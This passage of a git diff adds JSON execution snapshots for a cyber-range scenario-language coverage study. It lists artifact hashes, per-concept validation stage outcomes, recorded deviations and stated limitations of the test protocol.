"baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "3ea8f2b115ca942a8188851163842dbe86286b6c78eae04c9be1627a2fcf7548", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "5a27990cc5f57cae913af6178ee33ff1bfb1af1f3eba4e98ab16aac7021890be", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "208d6bb7f2dca977c06ac6d67cd47451e091c69bd9fd334e043506e51265aa7a", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "f784be2d1dd8714afd9ad60b56b8100c850f8e3e", + "snapshot_id": "raes-standardized-specification-coverage-issue-1016-v38", + "snapshot_revision": "38.0.0", + "source_state": { + "base_revision": "f784be2d1dd8714afd9ad60b56b8100c850f8e3e", + "checkout_state": "modified", + "implementation_digest": "13446b4a09f711a98e30329cf9f25f48eea8ca5779d1048517e59f8548f93c8d", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v39.json b/docs/research/specification-coverage/execution-snapshot-v39.json new file mode 100644 index 000000000..4ffb0ee58 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v39.json @@ -0,0 +1,699 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-20T15:44:45.533369+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "3ea8f2b115ca942a8188851163842dbe86286b6c78eae04c9be1627a2fcf7548", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "f1c71228beab51c8e55348178a8e37e4ce9c2dd52aefd7f74c5a59ef2425b6e6", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "208d6bb7f2dca977c06ac6d67cd47451e091c69bd9fd334e043506e51265aa7a", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "f31b74084f214e1cc2cc6c5717681ec5fd3e0801", + "snapshot_id": "raes-standardized-specification-coverage-issue-610-v39", + "snapshot_revision": "39.0.0", + "source_state": { + "base_revision": "f31b74084f214e1cc2cc6c5717681ec5fd3e0801", + "checkout_state": "modified", + "implementation_digest": "180351993914456dc288d2d3cbcc9d7c3bac273e86df86bd3b36aa8d7e4211ff", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v40.json b/docs/research/specification-coverage/execution-snapshot-v40.json new file mode 100644 index 000000000..78ae95bbc --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v40.json @@ -0,0 +1,699 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": 